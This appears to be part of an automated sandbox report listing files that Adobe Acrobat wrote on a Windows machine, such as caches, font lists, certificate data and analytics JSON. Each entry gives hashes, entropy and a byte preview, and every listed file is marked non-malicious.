SHA-256:	007BB98F1BA450CA37CB6B686A4B706AC04898732F9E6F6091F42BEF111868A4
SHA-512:	BF2B1CB1B9332E583F16BF16875F3A2191B6C58CEEACED80E373FE6601AF1A7F8744F52B47AB5BFED3FC52E5E4BC78C40C3DC10482B4DAAA5A5E7AF7B37E2A87
Malicious:	false
Preview:	2025/01/10-23:22:40.884 1cd0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:22:40.886 1cd0 Recovering log #3.2025/01/10-23:22:40.887 1cd0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438743508160312
Encrypted:	false
SSDEEP:	384:yeaci5GGiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1OurVgazUpUTTGt
MD5:	2CF027B09103329928E5BE5504929399
SHA1:	B8C7E05C0E11EF1127008CE333E47E392C7E0129
SHA-256:	9774F69B704DAF283660442767F4F944874EF3DCBBA737746EE2E8794F388393
SHA-512:	942A6B70E387D27A76796C16E4F9EA6B48E33D9AA520B8CDE18695A31CFB99035D8F0668F86570752ACEA9E7D6876A0AEFDEEBA1878492A000B9AD17CB8C71E0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.771113012578499
Encrypted:	false
SSDEEP:	48:7Mlup/E2ioyVWioy3DoWoy1CABoy1yKOioy1noy1AYoy1Wioy1hioybioysoy1n5:7/pjuW0iAuXKQBqb9IVXEBodRBkQ
MD5:	85C7E3B100266B01855DE6574E8DE5D1
SHA1:	A935FD085E18AC2D18E14376FFD04CDF877E36CB
SHA-256:	B1B766BC5A6AD0522D1630C5FA8977B14A822BE51629FFD30CC2C29ACC429C0B
SHA-512:	8D2B7141E8387B175D8FE371716F8D278F908763567F0ABC2677D2AEFBC2FD11E2CFB97FB54CD186FEBEDECEC3F9853C01993E87B341AFEA430D18F178CF731D
Malicious:	false
Preview:	.... .c.....(Y.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklUVFKPtfllXlE/HT8kpuvNNX8RolJuRdxLlGB9lQRYwpDdt:kKNV0eT8gmNMa8RdWBwRd
MD5:	7932B873FEA221C72AFD21FF44EDAF22
SHA1:	798477CD857B09AB077B1FA1BB6D37E73371C4F1
SHA-256:	4272A5B5C9FEB9DBBC23F83199A060A052A0FD6ABC76664A72EF26273EECBD05
SHA-512:	7BDC685D82502DB10D6F0EF606865ECCB0526958C554C6B812CB6EF146F7C2FF577639BD61D6B43B32F0599E3BE89493ED65EB5CF5181603364E29FD15740431
Malicious:	false
Preview:	p...... .........$.x.c..(....................................................... ..........W.....u..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kK4HtL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:YiDnLNkPlE99SNxAhUe/3
MD5:	90FF6D0633F834256AE6EACD46689584
SHA1:	405C7C9FE3813F2A211AE7401622B41FDDE4D326
SHA-256:	6007C8D21A3BAAA9642051563AE2AE379C6DC4C1BB3D54A418DA3C9E3E2D68D1
SHA-512:	FA9EB033CC1812E73BBE7BFAD603A882C3B98A24B1A2F654530BBD03C754A9B07CFF55FC7E49123E6AE849ADC21C28E5626F5BF24119B720A046B9ACFB9C15F0
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3232

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3232

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.341032057535626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJM3g98kUwPeUkwRe9:YvXKXaolWObsdTeO7OGMbLUkee9
MD5:	EB23CA39716B7433506EA5431BF953D8
SHA1:	F1C6335CC2C3B031377C3692FB558E22EF3916E7
SHA-256:	41F5917EA4D38C2A46FE0EB720AB11409C82C9DD5AE4CFE745C59382F1E9D392
SHA-512:	B88C0FCEF78D1707A73D2F769656D450BD42DEA450551AA7FC5284B9CDF16AD39D16E1CA7067DC1DF0982FB31B7BCC87A0C681A59B4EA8D9F96980333A63CA51
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.275363815605151
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJfBoTfXpnrPeUkwRe9:YvXKXaolWObsdTeO7OGWTfXcUkee9
MD5:	F46AD8234F5424930607CC1E800545A5
SHA1:	8C539B09437A33D2ABBFE906C4413916748430E2
SHA-256:	9F79DC9B9E85534686E3E0DD98A50C8A75DB49E01B8963996803B88E6F225293
SHA-512:	B1727CED42A870F409BD75884A7A4DC3D02BE558A70C98312E8372F831E3B6B1598E3E401BF0E6112D2C0B0EBDCD7C6CF37EB8DA17FBBB9A0DB9F7AF0AB6BB78
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.254184890650749
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJfBD2G6UpnrPeUkwRe9:YvXKXaolWObsdTeO7OGR22cUkee9
MD5:	B0D0C9BEC3579F61ED1D2C644DEA1FF4
SHA1:	E87FA05DEBBD98737380336384E639ABCDBE143E
SHA-256:	F3358AB3C3299F6D33463264781E7A812B79EAC760FA15E2FFEA86EBB5E4ACCC
SHA-512:	420838762B068DE9DEDF64B00340376E1039F0E0852C784BCF9F00C12A681452E42AD3432FEF06CD00F5486E25E39082553469F783830E8219ACF2E627C601C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.327126805294598
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJfPmwrPeUkwRe9:YvXKXaolWObsdTeO7OGH56Ukee9
MD5:	23D210496AD968B2871183F323F5F41C
SHA1:	0651DDF4354F9C1D0D12ACB9FFBDD4F44CF55495
SHA-256:	C10F86CDC9A6028DAAB750E14426875659EA99E92625D70ADDD0B46FB72FA2F3
SHA-512:	9001E09A69935FBC9826E76A5397F056530A224B720B3B0E87E1342E3F566E88056C7B670F0DF0AC4CED032EEA33153C1E3444CDB18663A60E23EF14B362D940
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.681797791354298
Encrypted:	false
SSDEEP:	24:Yv6X9MObmeO77pLgE9cQx8LennAvzBvkn0RCmK8czOCCSJ:YvTechgy6SAFv5Ah8cv/J
MD5:	B6BD80134BE7AC42D64C85FA000B11AE
SHA1:	B727B57FA7A41175221C606A17EEECA56FE04D0C
SHA-256:	CDAD020E371D4AFB9437898617CDC756A49712F5D538BEADA09EBB02688C8350
SHA-512:	F6032EE6A7AA82AB75BA47D21FB8E07C21B62C2A87E839F82AB3BA94A84E79C72896DF6C87116800D07E463E1F05BA6FDBC9CF5A6E8305547A3A77DE4895DCA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.264425863768577
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJf8dPeUkwRe9:YvXKXaolWObsdTeO7OGU8Ukee9
MD5:	EED3800AC0782B9061A9791191FB2E51
SHA1:	F7A8B97DA06BC952C2E04E6E1C8969AFCFDC5DBA
SHA-256:	25E0F41ED68FCB4D684AC7FBF65430A4FFC585C3DC461CB65D6B794BAFBA1C05
SHA-512:	C5B6FC92925F0A33D6509365DBDC016ACF0EBD5A31510242242DB267828B21D7A3A3834F4FFFBD647925D735EBAECC9BFD6E49AE38E5F37E29DA6583F9FF66B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b4c6beba-336c-42e1-bbe9-2b64b77a0af6","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746474441,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.268708159760665
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSUs5INPlWO4WsGiIPEeOF0Yw0hPoAvJfQ1rPeUkwRe9:YvXKXaolWObsdTeO7OGY16Ukee9
MD5:	53D992962C219902C9EB50B33CC12E8D
SHA1:	9DD323286830F15E057AEE73BFF0B3155EA3626B
